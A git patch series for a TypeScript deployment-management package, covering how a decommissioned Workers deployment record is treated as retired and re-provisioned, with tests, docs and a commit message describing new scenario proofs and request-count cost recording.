refuses to resume that row and directs to cleanup; complete the cleanup to its receipt, then reprovision fresh. `provisionDeployment({ failureCleanup: 'bounded' })` performs at most one bounded advance during rollback and surfaces the resumable outcome through `ProvisioningError.cleanup`. `forceDecommissionDeployment()` refuses during an active bounded cleanup — after remediation, `restart-blocked` is the only resolution for a blocked operation. On capable stores, force releases the deployment's current ownership claims with its terminal row delete; a legacy lease implementation without `deleteReleasingClaims` keeps tombstone claims through the plain row delete. Force remains receipt-free and evidence-free, and it does not delete the ordinary Worker script or application R2 buckets, so confirm the residual physical resources are removed before reprovisioning the same names. Provisioning fails closed on what remains rather than adopting it. A terminal row that retains an application resource refuses re-provision by that name and directs to `forceDecommissionDeployment()`. A re-provision over a retired terminal row proves the reserved database name free before it claims the row, so that refusal leaves the record and its export triple intact. The plain-Worker backend refuses to upload over a surviving script whose deployed versions bind another tenant, environment, or database. ## Deploy the Workers for Platforms control plane diff --git a/packages/fleet-control/src/decommission-intent.ts b/packages/fleet-control/src/decommission-intent.ts index a747f95c..a49bee96 100644 --- a/packages/fleet-control/src/decommission-intent.ts +++ b/packages/fleet-control/src/decommission-intent.ts @@ -17,6 +17,7 @@ import type { DecommissionBlockedAttachment, DecommissionIntentCommon, DecommissionOperationIdentity, + DecommissionOperationMode, DecommissionRecordIdentity, FleetRecord, NormalDecommissionLifecyclePhase, @@ -587,7 +588,7 @@ function parseIntentCommon( function assertCompleteRecord( source: FleetRecord, - mode: DecommissionOperationIdentity['mode'], + mode: DecommissionOperationMode['kind'], ): void { const switchIntent = source.backendSwitchIntent; if ( @@ -605,8 +606,8 @@ function assertCompleteRecord( source.rollbackRelease !== undefined || source.retiringRelease !== undefined || source.migrationIntent !== undefined || - (mode.kind === 'normal' && switchIntent !== undefined) || - (mode.kind === 'backend-switch' && + (mode === 'normal' && switchIntent !== undefined) || + (mode === 'backend-switch' && (switchIntent?.subphase !== 'decommissioned' || !switchIntent.databaseExport || switchIntent.databaseExport.location !== @@ -622,6 +623,25 @@ function assertCompleteRecord( } } +/** + * Whether `source` carries the record a completed decommission leaves. The + * mode comes from the row's own `backendSwitchIntent`, so a backend-switch + * teardown is read against its switch evidence and an ordinary one against + * none. + */ +export function isCompleteTerminalRecord(source: FleetRecord): boolean { + try { + assertCompleteRecord( + source, + source.backendSwitchIntent === undefined ? 'normal' : 'backend-switch', + ); + return true; + } catch (error) { + if (error instanceof DecommissionAdvanceIntentError) return false; + throw error; + } +} + export function decommissionAdvanceIntentFromUnknown( value: unknown, source: FleetRecord, @@ -669,7 +689,7 @@ export function decommissionAdvanceIntentFromUnknown( source, 'decommissioned', ); - assertCompleteRecord(source, identity.mode); + assertCompleteRecord(source, identity.mode.kind); return { version: 1, operationId: candidate.operationId, diff --git a/packages/fleet-control/src/fleet.ts b/packages/fleet-control/src/fleet.ts index 3cc6b69d..c750a0da 100644 --- a/packages/fleet-control/src/fleet.ts +++ b/packages/fleet-control/src/fleet.ts @@ -1256,8 +1256,13 @@ export async function auditRecordStep( input.liveByScript.get(`${record.backend}:${liveScriptName(record)}`) ?? []; const inventoryDeployment = inventoryMatches[0]; const recordUpdatedAt = Date.parse(record.updatedAt); + // `decommissioned` is terminal, not a phase that advances: a retained + // terminal row ages past `staleAfterMs` and stays there until a host clears + // it, so reading it as stalled provisioning misclassifies intended retained + // state as incomplete provisioning. if ( phase !== 'ready' && + phase !== 'decommissioned' && (!Number.isFinite(recordUpdatedAt) || input.auditNow - recordUpdatedAt > input.staleAfterMs) ) { diff --git a/packages/fleet-control/src/provision.ts b/packages/fleet-control/src/provision.ts index 5608ff0c..496c6ff7 100644 --- a/packages/fleet-control/src/provision.ts +++ b/packages/fleet-control/src/provision.ts @@ -48,7 +48,10 @@ import { reconcilePersistedDatabase, retainedExternalReleases, } from './decommission-advance.js'; -import { decommissionAdvanceIntentFromUnknown } from './decommission-intent.js'; +import { + decommissionAdvanceIntentFromUnknown, + isCompleteTerminalRecord, +} from './decommission-intent.js'; import { isSha256 } from './deployment-context.js'; import { WorkerDeploymentError } from './deployment-error.js'; import { @@ -598,6 +601,83 @@ export interface ProvisionDeploymentOptions { readonly clock?: () => number; } +// The residue a terminal `decommissioned` row still describes, or `undefined` +// when the row describes none. Written as a reason rather than a boolean so +// the refusal below names what the operator has to resolve. +function retainedTerminalResidue(record: FleetRecord): string | undefined { + const decommission = record.decommissionIntent; + if (decommission && decommission.state !== 'complete') { + return `an unfinished decommission operation in state '${decommission.state}'`; + } + if (record.cleanupIntent !== undefined) { + return 'an unfinished bounded cleanup operation'; + } + const switchSubphase = record.backendSwitchIntent?.subphase; + if ( + switchSubphase !== undefined && + switchSubphase !== 'rolled-back' && + switchSubphase !== 'finalized' && + switchSubphase !== 'decommissioned' + ) { + return `an active backend switch in subphase '${switchSubphase}'`; + } + const retained = (record.applicationResources ?? []).filter( + (resource) => resource.state !== 'deleted', + ); + const retainedNames = retained.map((resource) => `'${resource.name}'`); + if (retainedNames.length > 0) { + return `retained application R2 resources ${retainedNames.join(', ')}`; + } + if (!isCompleteTerminalRecord(record)) { + return 'incomplete teardown evidence: a completed decommission records the database export location, digest, and byte count and leaves no pending lifecycle field'; + } + return undefined; +} + +// Reads a stored `decommissioned` row as a RETIRED record: one +// `provisionDeployment` treats as an absent prior rather than as a lifecycle +// to resume. +// +// The row is the evidence, read against the package's own definition of a +// completed decommission record in `isCompleteTerminalRecord`, so a teardown +// that never finished refuses instead — including the row a forced +// decommission strands between its terminal state write and its row delete, +// which records no database export. The predicate reads the row, not its +// provenance: a row carrying that same evidence reads as retired however it +// was written. +// +// Physical resources the row does not describe stay outside that evidence — +// an ordinary Worker script a forced decommission leaves behind, and the +// Durable Object namespaces a backend asserts absent rather than deletes — +// and a fresh provision over this slug meets them at the provider, which +// refuses to adopt a database or a script it cannot attribute to this +// deployment. +// +// The intent clauses live here rather than beside the guards that mirror them +// because normalization runs before `assertNoActiveDecommission`, the cleanup +// redirect, and `assertBackendSwitchInactive`: a row admitted here reaches +// none of those guards. +function isRetiredTerminalRecord(record: FleetRecord): boolean { + return ( + record.phase === 'decommissioned' && + retainedTerminalResidue(record) === undefined + ); +} + +// Refuses a database that already answers to the name this provision reserves. +async function assertReservedDatabaseNameFree( + backend: ProvisioningBackend, + spec: DeploymentSpec, + reservedName: string, +): Promise { + const existingDatabase = await backend.findDatabase(spec); + if (existingDatabase) { + throw new Error( + `refusing to claim pre-existing database '${existingDatabase.id}:${existingDatabase.name}' for reserved name '${reservedName}'`, + ); + } +} + // `async` so the entry validation below REJECTS rather than throwing // synchronously: every caller and every test treats this as a promise-returning // function, and a synchronous throw would escape an unguarded `.catch()`. @@ -644,7 +724,18 @@ async function provisionDeploymentUnderLease( 'maintenanceBaseUrl must use a control-plane hostname distinct from routeHostname', ); } - const prior = await store.get(spec.tenantTag, spec.environment); + const stored = await store.get(spec.tenantTag, spec.environment); + const retiredPrior = + stored !== undefined && isRetiredTerminalRecord(stored) + ? stored + : undefined; + // Normalized ONCE, here: `prior` is what the lifecycle guards, the immutable + // mapping asserts, the phase refusal, `record` and `databaseReservationOwned` + // read below. A branch that admitted the retired row at one of those sites + // and left the rest reading the raw row would hold `databaseReservationOwned` + // at false and disable the failed-provision unwind for the database and + // Worker this attempt created. + const prior = retiredPrior === undefined ? stored : undefined; if (prior) { assertNoActiveDecommission(prior, 'provisionDeployment'); // The fixed redirect IS this entry's cleanup guard: it must fire before @@ -688,6 +779,19 @@ async function provisionDeploymentUnderLease( if (prior) { assertImmutableDeploymentMapping(prior, backend, spec); assertPlatformDurableObjectHistory(prior, spec); + // A terminal row that reaches here failed `isRetiredTerminalRecord`, so it + // still describes residue. It refuses by that reason instead of by the + // generic phase message, because the remedy is a physical one the operator + // performs before the record can be cleared. + const residue = + prior.phase === 'decommissioned' + ? retainedTerminalResidue(prior) + : undefined; + if (residue !== undefined) { + throw new Error( + `deployment '${spec.tenantTag}:${spec.environment}' has a decommissioned record with ${residue}; confirm the residual physical resources are removed, then clear the record with forceDecommissionDeployment() before provisioning this name again`, + ); + } if (!RESUMABLE_PROVISIONING_PHASES.has(prior.phase)) { throw new Error( `deployment '${spec.tenantTag}:${spec.environment}' cannot be provisioned from phase '${prior.phase}'`, @@ -851,6 +955,16 @@ async function provisionDeploymentUnderLease( prior.phase === 'database-reserved' || prior.phase === 'database-create-authorized'; try { + // A retired terminal record is still the stored row here and `lease.put` + // is an unconditional upsert, so the reserved-name proof runs before the + // claim: proving it afterwards would have replaced the export location, + // digest and size that `decommissionDeployment` replays from, for a + // provision that then refuses. An absent prior keeps the original order, + // where the durable reservation written first is what + // `cleanupDeploymentArtifacts()` clears with a receipt. + if (retiredPrior !== undefined) { + await assertReservedDatabaseNameFree(backend, spec, spec.databaseName); + } if (!record) { const reservation: DatabaseReference = { id: `reserved-${deploymentSpecDigest(spec).slice(0, 48)}`, @@ -867,10 +981,11 @@ async function provisionDeploymentUnderLease( await lease.put(record); } if (record.phase === 'database-reserved') { - const existingDatabase = await backend.findDatabase(spec); - if (existingDatabase) { - throw new Error( - `refusing to claim pre-existing database '${existingDatabase.id}:${existingDatabase.name}' for reserved name '${record.databaseName}'`, + if (retiredPrior === undefined) { + await assertReservedDatabaseNameFree( + backend, + spec, + record.databaseName, ); } record = { @@ -1495,6 +1610,12 @@ async function provisionDeploymentUnderLease( cleanupErrors = legacy.errors; if ( databaseReservationOwned && + // The delete removes the row THIS attempt reserved. A retired terminal + // prior normalizes to an absent prior while its row is still stored, + // so a refusal before the first put owns no row to delete and leaves + // the terminal record for `forceDecommissionDeployment()` and the + // receipts contract to read. + record !== undefined && cleanupErrors.length === 0 && (!database || databaseOwnershipProven) ) { diff --git a/packages/fleet-control/test/cross-backend-continuation.test.ts b/packages/fleet-control/test/cross-backend-continuation.test.ts index f4b3e556..a5d80d7e 100644 --- a/packages/fleet-control/test/cross-backend-continuation.test.ts +++ b/packages/fleet-control/test/cross-backend-continuation.test.ts @@ -779,6 +779,34 @@ describe('ordinary Worker cross-backend continuation', () => { expect(direct.world.scripts.get(spec.scriptName)?.present).toBe(false); }); + it('reprovisions the decommissioned slug through the direct backend without touching the old database', async () => { + const source = wrangler(); + const spec = buildPlainWorkerSpec(); + const ready = await provision(source, spec); + const direct = directHarness(source.world); + direct.store.record = structuredClone(ready.record); + const retired = await decommissionDeployment({ + backend: direct.backend, + store: direct.store, + spec, + }); + expect(retired.record.phase).toBe('decommissioned'); + const mutationsAtTeardown = direct.world.mutationLog.length; + + const reprovisioned = await provision(direct, spec); + + expect(reprovisioned.record.phase).toBe('ready'); + expect(reprovisioned.record.databaseId).not.toBe(retired.record.databaseId); + expect(reprovisioned.record.scriptName).toBe(ready.record.scriptName); + expect(reprovisioned.record.databaseName).toBe(ready.record.databaseName); + expect(reprovisioned.record.routeHostname).toBe(ready.record.routeHostname); + expect( + direct.world.mutationLog + .slice(mutationsAtTeardown) + .filter((entry) => entry.includes(retired.record.databaseId)), + ).toEqual([]); + }); + it('retries every direct teardown state write from its retained predecessor', async () => { const source = wrangler(); const spec = buildPlainWorkerSpec(); diff --git a/packages/fleet-control/test/fleet.test.ts b/packages/fleet-control/test/fleet.test.ts index 9069d1e4..608234fc 100644 --- a/packages/fleet-control/test/fleet.test.ts +++ b/packages/fleet-control/test/fleet.test.ts @@ -2602,6 +2602,13 @@ describe('fleet operations', () => { expect(findings.map(({ kind }) => kind)).toContain( 'incomplete-provisioning', ); + + // A terminal row is retained state, not a phase that advances. + const retired: FleetRecord = { ...base, phase: 'decommissioned' }; + const retiredFindings = await audit([retired]); + expect(retiredFindings.map(({ kind }) => kind)).not.toContain( + 'incomplete-provisioning', + ); }); it('commits the invocation authority before migration staging, candidate maintenance, and promotion dispatches', async () => { diff --git a/packages/fleet-control/test/plain-worker-backend.test.ts b/packages/fleet-control/test/plain-worker-backend.test.ts index ff3effac..db8a50fa 100644 --- a/packages/fleet-control/test/plain-worker-backend.test.ts +++ b/packages/fleet-control/test/plain-worker-backend.test.ts @@ -2414,6 +2414,29 @@ describe('PlainWorkerBackend direct mutation assertion ownership', () => { }); describe('PlainWorkerBackend core-policy refusals', () => { + it('refuses to upload over a script a force decommission left behind', async () => { + const api = new PlainWorkerProvisioningApiFake(); + api.versions.set(spec.scriptName, [ownedVersion('surviving')]); + api.deployments.set(spec.scriptName, { + versions: [{ versionId: 'surviving', percentage: 100 }], + }); + + // A fresh provision of the same slug mints a new D1; the surviving + // version still binds the retired one. + await expect( + backend(api).deployWorker( + spec, + { ...database, id: 'replacement-database-id' }, + secrets, + undefined, + mutationFence(), + ), + ).rejects.toThrow( + `refusing to upload over existing Worker '${spec.scriptName}' with drifted tenant, environment, or D1 ownership`, + ); + expect(api.events).not.toContain('mutation:uploadCandidate'); + }); + it('refuses promotion from a disallowed route before creating a deployment', async () => { const api = new PlainWorkerProvisioningApiFake(); api.versions.set(spec.scriptName, [ diff --git a/packages/fleet-control/test/provision.test.ts b/packages/fleet-control/test/provision.test.ts index 497024b6..74bbd324 100644 --- a/packages/fleet-control/test/provision.test.ts +++ b/packages/fleet-control/test/provision.test.ts @@ -49,6 +49,7 @@ import type { ActiveRouteAttestation, ApplicationR2BucketSnapshot, ApplicationR2Resource, + BackendSwitchIntent, CleanupTerminalReceipt, DatabaseExport, DatabaseExportReceiptIdentity, @@ -4686,6 +4687,348 @@ describe('fleet provisioning', () => { }); }); + it('provisions a retired terminal record as an absent prior and carries nothing forward', async () => { + const harness = await boundedDecommissionHarness({ + r2Names: ['ARTIFACTS'], + }); + const { backend, store } = harness; + await expect( + decommissionDeployment({ backend, store, spec: harness.deployment }), + ).resolves.toMatchObject({ record: { phase: 'decommissioned' } }); + const terminal = store.record as FleetRecord; + expect(terminal.applicationResources?.map(({ state }) => state)).toEqual([ + 'deleted', + ]); + expect(terminal.databaseExportLocation).toBeDefined(); + + // A changed specification is admitted: the digest guard inside + // assertImmutableDeploymentMapping does not run for an absent prior. + const changed = spec({ + ...harness.deployment, + compatibilityDate: '2026-08-11', + }); + expect(deploymentSpecDigest(changed)).not.toBe(terminal.desiredSpecDigest); + backend.events.length = 0; + const writesBefore = store.phases.length; + + const result = await provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: changed, + secrets, + }); + + expect(result.record.phase).toBe('ready'); + expect(result.record.desiredSpecDigest).toBe(deploymentSpecDigest(changed)); + expect(result.record.decommissionIntent).toBeUndefined(); + expect(result.record.databaseExportLocation).toBeUndefined(); + expect(result.record.databaseExportSha256).toBeUndefined(); + expect(result.record.databaseExportSize).toBeUndefined(); + expect( + result.record.applicationResources?.map(({ state }) => state), + ).not.toContain('deleted'); + // The database is minted again rather than reconciled from the retired row. + expect(backend.events[0]).toBe('database'); + expect(store.phases.slice(writesBefore)[0]).toBe('database-reserved'); + expect(store.phases.at(-1)).toBe('ready'); + }); + + it('refuses a previous Durable Object migration tag over a retired terminal record', async () => { + const harness = await boundedDecommissionHarness(); + const { backend, store } = harness; + await expect( + decommissionDeployment({ backend, store, spec: harness.deployment }), + ).resolves.toMatchObject({ record: { phase: 'decommissioned' } }); + const before = structuredClone(store.record) as FleetRecord; + + await expect( + provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: spec({ ...harness.deployment, previousDurableObjectTag: 'v1' }), + secrets, + }), + ).rejects.toThrow( + 'a new deployment cannot declare a previous Durable Object migration tag', + ); + expect(store.record).toEqual(before); + }); + + it('keeps the generic phase refusal for every other non-resumable phase', async () => { + for (const phase of [ + 'worker-deleted', + 'database-exported', + 'database-deleting', + ] as const) { + const harness = await boundedDecommissionHarness(); + harness.store.record = { + ...(harness.store.record as FleetRecord), + phase, + }; + const before = structuredClone(harness.store.record) as FleetRecord; + harness.backend.events.length = 0; + + await expect( + provisionDeployment({ + initialExecutionFenceState: 'open', + backend: harness.backend, + store: harness.store, + spec: harness.deployment, + secrets, + }), + phase, + ).rejects.toThrow( + `deployment 'acme:production' cannot be provisioned from phase '${phase}'`, + ); + expect(harness.store.record, phase).toEqual(before); + expect(harness.backend.events, phase).toEqual([]); + } + }); + + it('refuses a terminal record that still retains an application resource', async () => { + const harness = await boundedDecommissionHarness({ + r2Names: ['ARTIFACTS'], + }); + const { backend, store } = harness; + await expect( + decommissionDeployment({ backend, store, spec: harness.deployment }), + ).resolves.toMatchObject({ record: { phase: 'decommissioned' } }); + const terminal = store.record as FleetRecord; + store.record = { + ...terminal, + applicationResources: (terminal.applicationResources ?? []).map( + (resource) => ({ ...resource, state: 'created' as const }), + ), + }; + const before = structuredClone(store.record) as FleetRecord; + backend.events.length = 0; + + await expect( + provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: harness.deployment, + secrets, + }), + ).rejects.toThrow( + /has a decommissioned record with retained application R2 resources 'ARTIFACTS'; confirm the residual physical resources are removed, then clear the record with forceDecommissionDeployment\(\)/, + ); + expect(store.record).toEqual(before); + expect(backend.events).toEqual([]); + }); + + it('refuses a pre-existing database before it claims the retired terminal row', async () => { + const harness = await boundedDecommissionHarness(); + const { backend, store } = harness; + await expect( + decommissionDeployment({ backend, store, spec: harness.deployment }), + ).resolves.toMatchObject({ record: { phase: 'decommissioned' } }); + const before = structuredClone(store.record) as FleetRecord; + expect(before.databaseExportLocation).toBeDefined(); + + // The fixture idiom for foreign physical residue under the reserved name. + backend.databaseExists = true; + backend.databaseOwner = undefined; + + const failure = await provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: harness.deployment, + secrets, + }).catch((error: unknown) => error); + + expect(failure).toBeInstanceOf(ProvisioningError); + expect((failure as Error).cause).toMatchObject({ + message: expect.stringMatching(/refusing to claim pre-existing database/), + }); + expect(store.record).toEqual(before); + }); + + it('unwinds a failed provision over a retired terminal record as a fresh one', async () => { + const harness = await boundedDecommissionHarness(); + const { backend, store } = harness; + await expect( + decommissionDeployment({ backend, store, spec: harness.deployment }), + ).resolves.toMatchObject({ record: { phase: 'decommissioned' } }); + backend.events.length = 0; + backend.failAt = 'migrations'; + + await expect( + provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: harness.deployment, + secrets, + }), + ).rejects.toBeInstanceOf(ProvisioningError); + + expect(backend.events.at(-1)).toBe('delete-database'); + expect(store.record).toBeUndefined(); + expect([...store.receipts.values()]).toMatchObject([ + { + disposition: 'prepublication-owned-no-export', + authority: 'provisioning-rollback', + }, + ]); + }); + + it('provisions over a terminal record a backend switch retired', async () => { + const harness = await boundedDecommissionHarness(); + const { backend, store } = harness; + await expect( + decommissionDeployment({ backend, store, spec: harness.deployment }), + ).resolves.toMatchObject({ record: { phase: 'decommissioned' } }); + const terminal = store.record as FleetRecord; + const switchIntent: BackendSwitchIntent = { + kind: 'backend-switch', + tenantTag: terminal.tenantTag, + environment: terminal.environment, + prior: { + scriptName: terminal.scriptName, + artifactVersion: terminal.artifactVersion, + specDigest: terminal.desiredSpecDigest, + databaseId: terminal.databaseId, + databaseName: terminal.databaseName, + durableObjectBindings: [], + namespaceIds: [], + secretNames: ['DEPLOYMENT_IDENTITY_SECRET'], + applicationResources: [], + customDomain: { id: 'domain-acme', hostname: terminal.routeHostname }, + }, + targetSpecDigest: terminal.desiredSpecDigest, + targetApplication: terminal.applicationBindings ?? { + vars: [], + secrets: [], + r2Buckets: [], + }, + target: backend.describeExternalPlatformTarget(harness.deployment), + rollbackUntil: '2026-09-30T00:00:00.000Z', + subphase: 'decommissioned', + // A switch that reached `decommissioned` committed the export the + // terminal row records and released the application resources it + // tracked; the package reads a backend-switch terminal row against that + // evidence. + databaseExport: { + databaseId: terminal.databaseId, + location: terminal.databaseExportLocation as string, + sha256: terminal.databaseExportSha256 as string, + size: terminal.databaseExportSize as number, + }, + applicationR2Progress: [], + }; + store.record = { ...terminal, backendSwitchIntent: switchIntent }; + backend.events.length = 0; + + const result = await provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: harness.deployment, + secrets, + }); + + expect(result.record.phase).toBe('ready'); + expect(result.record.backendSwitchIntent).toBeUndefined(); + expect(backend.events[0]).toBe('database'); + }); + + it('decommissions the replacement when a same-spec decommission follows a re-provision', async () => { + const harness = await boundedDecommissionHarness(); + const { backend, store } = harness; + const first = await decommissionDeployment({ + backend, + store, + spec: harness.deployment, + }); + expect(first.record.phase).toBe('decommissioned'); + const retiredExportLocation = first.record.databaseExportLocation; + expect(retiredExportLocation).toBeDefined(); + + const replacement = await provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: harness.deployment, + secrets, + }); + + expect(replacement.record.phase).toBe('ready'); + expect(replacement.record.databaseExportLocation).toBeUndefined(); + backend.receiptCalls.length = 0; + backend.events.length = 0; + + // decommissionDeployment() carries no operation identity, so a same-spec + // call issued after the replacement reached `ready` is a new decommission + // of the replacement rather than a retry that replays the retired row's + // export. The fake mints one provider database ID for every deployment, + // so the target shows in the export this call commits and in the teardown + // it drives rather than in that ID. + const late = await decommissionDeployment({ + backend, + store, + spec: harness.deployment, + }); + + expect(backend.events).toEqual( + expect.arrayContaining(['delete-worker', 'export', 'delete-database']), + ); + expect(backend.receiptCalls.map(({ databaseId }) => databaseId)).toEqual([ + replacement.record.databaseId, + ]); + expect(late.record.phase).toBe('decommissioned'); + expect(late.databaseExport.location).not.toBe(retiredExportLocation); + expect(store.record?.databaseExportLocation).toBe( + late.databaseExport.location, + ); + }); + + it('refuses a terminal record a force decommission stranded without its export', async () => { + const harness = await boundedDecommissionHarness(); + const { backend, store } = harness; + const ready = store.record as FleetRecord; + expect(ready.phase).toBe('ready'); + expect(ready.databaseExportLocation).toBeUndefined(); + // What forceDecommissionDeployment() leaves when its host audit sink + // rejects between the terminal state write and the row delete: force never + // exports, so the row reaches `decommissioned` with no export triple while + // the ordinary Worker script survives. + const { + pendingSpecDigest: _pendingSpecDigest, + pendingArtifactVersion: _pendingArtifactVersion, + ...forceRecord + } = ready; + store.record = { + ...forceRecord, + phase: 'decommissioned', + applicationResources: [], + }; + backend.databaseExists = false; + backend.databaseOwner = undefined; + const before = structuredClone(store.record) as FleetRecord; + const writesBefore = store.phases.length; + backend.events.length = 0; + + await expect( + provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: harness.deployment, + secrets, + }), + ).rejects.toThrow( + /has a decommissioned record with incomplete teardown evidence: a completed decommission records the database export location, digest, and byte count and leaves no pending lifecycle field; confirm the residual physical resources are removed, then clear the record with forceDecommissionDeployment\(\)/, + ); + expect(store.record).toEqual(before); + expect(store.phases.length).toBe(writesBefore); + expect(backend.events).toEqual([]); + }); + it('starts stable operation before I/O and recovers lost start response', async () => { const store = new CommitThenThrowStore(); const harness = await boundedDecommissionHarness({ store }); From 37c6d1502a6cbffd54c3ccd625e59d1931c16888 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 16 Sep 2026 05:37:54 +0400 Subject: [PATCH 160/169] feat(fleet-control): prove routes and terminal force, record run cost The direct credentialed scenario recorded no proof that a tenant's custom-domain routes survive the A to B migration. Its force phases ran against the recovery role, so the scenario never cleared role `a`'s terminal `decommissioned` row, and the evidence recorded `cost: 'unknown'`. The requirements audit ruled `UP-AR-ACC1.1`, `UP-AR-ACC2.1` and `SP-CR-R.8` not met on that evidence. An inventory proof in `direct-credentialed-scenario.mjs` reads the provider-derived inventory before and after the migration, keeps the custom-domain route rows of the plain-worker backend for each normal role's script, and requires two hostnames. On the after observation it asserts that the generation increases, that the sorted hostname list equals the before list, and, per role, that that role's rows are the single row bearing its configured `routeHostname`. The journal schema gains a DNS-shaped hostname validator bounded at 253 characters and a `routeHostnames` array of at most two entries on the inventory shape, which each nullable before and after inventory proof carries; the maximal fixture, the cap test and the evidence projection follow. A `force-terminal` action for role `a` joins the reference contract and the router ahead of the generic role-bearing branch. Its handler intercepts the force API's own deployment lease and refuses a tenant tag or environment other than role `a`'s, a phase other than `decommissioned`, an unfinished decommission intent, a cleanup intent, and a row whose role is not `a`; it captures the row's database and script identity under that lease, lets `forceDecommissionDeployment()` delete the row, and requires absence afterwards. An already-absent row returns a null before identity, which makes the call re-enterable. A settled `force-terminal` call persists that returned identity in the journal beside its outcome and attempts, and the schema requires the field on a settled force-terminal call and refuses it elsewhere. The `force-terminal-a` phase follows `decommission-b`: fresh entry issues the force and requires it to return with the row absent, the returned identity to equal role `a`'s decommission proof, and the provider, maintenance and application attempt counters to be zero; a resumed settlement requires the persisted identity to equal that proof and builds the proof from that mutation's ordinal, identity and attempts without issuing the force again; either branch then confirms through a control read that the row is absent. A persisted null or foreign identity and a persisted nonzero-attempt witness fail with `observation-mismatch`; a persisted proof is kept. The completion predicate, the phase presence rule, the nullable proof schema, the proof's ordinal bound, the monotonic proof group, the `force-terminal` reconciliation allowance, the budget entry at `measured: 4`, the declarations, fixtures and evidence carry the phase. The evidence's `cost` object records the run's own request counts under `basis: 'request-counters'`: the reference Worker's provider, maintenance and application attempts, the local SDK session's requests, the journal's invocation reservations and the durable teardown provider counter. The four scenario counters and the teardown counter read `null` when their snapshot section is absent; `referenceInvocations` reads the snapshot's invocation count and has no null form, and `billed` is `null` because nothing reads a billing source. `docs/fleet-control.md` states that cost record and the two new proofs. Neither pre-fence run continuation (`UP-AR-ACC1.3`) nor a re-provision of role `a` after the force (`UP-AR-ACC2.2`) is built here: no tenant Worker, fence route, re-provision action or operation-slot change belongs to this diff. The journal fixtures measure 138,063 B for the maximal scenario against the 141,312 B threshold and leave 92,923 B free for the complete scenario plus teardown against the 92,160 B floor. Tests cover the route filter and the hostname bound, the terminal-force schema, its persisted identity and its frozen proof, the contract acceptance and refusals, the force handler through the lifecycle harness, nine settlement cases, five resume cases and the cost projection. No changeset: the package ships `dist`, `README.md`, `CHANGELOG.md` and `LICENSE`, so these scripts, tests and the repository doc change nothing it publishes. Co-Authored-By: Claude Fable 5.1 --- docs/fleet-control.md | 4 +- .../scripts/direct-credentialed-evidence.mjs | 24 +- .../direct-credentialed-run-state.d.mts | 1 + .../scripts/direct-credentialed-run-state.mjs | 35 ++- .../direct-credentialed-scenario-budget.d.mts | 1 + .../direct-credentialed-scenario-budget.mjs | 1 + .../direct-credentialed-scenario-checks.mjs | 1 + .../direct-credentialed-scenario.d.mts | 11 + .../scripts/direct-credentialed-scenario.mjs | 96 +++++++- .../scripts/direct-reference-contract.d.mts | 1 + .../scripts/direct-reference-contract.mjs | 4 + .../scripts/direct-reference-force.ts | 42 ++++ .../scripts/direct-reference-worker.ts | 3 + .../test/direct-credentialed-evidence.test.ts | 47 ++++ .../direct-credentialed-run-state.test.ts | 201 +++++++++++++++- ...irect-credentialed-scenario-checks.test.ts | 13 +- .../test/direct-credentialed-scenario.test.ts | 220 +++++++++++++++++- .../test/direct-reference-contract.test.ts | 5 + ...direct-reference-lifecycle.harness.test.ts | 83 +++++++ .../test/fixtures/direct-run-state-builder.ts | 32 ++- 20 files changed, 803 insertions(+), 22 deletions(-) diff --git a/docs/fleet-control.md b/docs/fleet-control.md index 7c3c9ad0..c2d9d5b7 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -701,7 +701,9 @@ Modes are mutually exclusive. Use `--help` for usage. Live modes require built p A successful complete teardown makes a later resume evidence-only, with no provider requests and a null `teardownCall`. A recorded teardown refusal re-observes residuals and retains resources instead of advancing into deletion. Pending invocation or bootstrap mutations refuse automated continuation with `outcome-unknown`: inspection validates the journal binding under the same lock, reports retained identities, and writes evidence without mutating the journal. Pending teardown work can resume reconciliation. After the ingress probe, the client re-sends identical requests under one reservation within the shorter of 120 seconds or the invocation timeout: read-only actions retry transport failures and non-contract answers; mutations retry only unmarked 404 text pages. The first send and any answer whose contract headers have arrived are bounded by the invocation timeout alone. Answer failures report a fixed `detail`: `platform-page`, `transport-failure`, `non-contract-answer`, or `delivery-window-expired` when read-only delivery exhausts that window. Concurrent callers fail with `lock-unavailable`; an existing run refuses `--run` with `run-exists`. -Give `evidence.json` to the recovery approval. Its allowlist projects configuration and artifact digests, versions, times, resume and invocation counts, dispatch classification, scenario failures and proofs, teardown receipts and residual counts, the current teardown call, and retained resource identities. Account and zone identifiers are represented by hash suffixes; cost remains `unknown`. The journal retains residual names that evidence omits. Top-level `status` describes cleanup disposition, while `scenario.failure` describes the scenario outcome; `teardownCall` records the current call separately from durable teardown state. +Give `evidence.json` to the recovery approval. Its allowlist projects configuration and artifact digests, versions, times, resume and invocation counts, dispatch classification, scenario failures and proofs, teardown receipts and residual counts, the current teardown call, and retained resource identities. Account and zone identifiers are represented by hash suffixes. The evidence records request counts from the run’s own counters, per transport, and reads no provider billing. The journal retains residual names that evidence omits. Top-level `status` describes cleanup disposition, while `scenario.failure` describes the scenario outcome; `teardownCall` records the current call separately from durable teardown state. + +The scenario force-decommissions role `a`’s terminal row and records that the call issues no provider request. The inventory proof compares the custom-domain hostnames routed to each tenant script before and after migration. The writer scans decoded string values and serialized bytes for credentials and forbidden literals. It writes with mode `0600`, verifies a temporary file by reading it back, and replaces the artifact atomically before syncing the directory. A failure before replacement leaves an older artifact untouched and reports `evidenceWritten: false`; a directory-sync failure after replacement reports `true` with durability unconfirmed. Summaries and refusals exclude raw provider errors, credentials, headers, and bodies. diff --git a/packages/fleet-control/scripts/direct-credentialed-evidence.mjs b/packages/fleet-control/scripts/direct-credentialed-evidence.mjs index 19cc8e37..44f48207 100644 --- a/packages/fleet-control/scripts/direct-credentialed-evidence.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-evidence.mjs @@ -148,6 +148,19 @@ export function buildDirectEvidence({ exports: roles(value.proofs.exports, ['a', 'b'], (proof) => pick(proof, ['location', 'size', 'sha256']), ), + inventories: roles( + value.proofs.inventories, + ['before', 'after'], + (proof) => pick(proof, ['routeHostnames']), + ), + terminalForce: 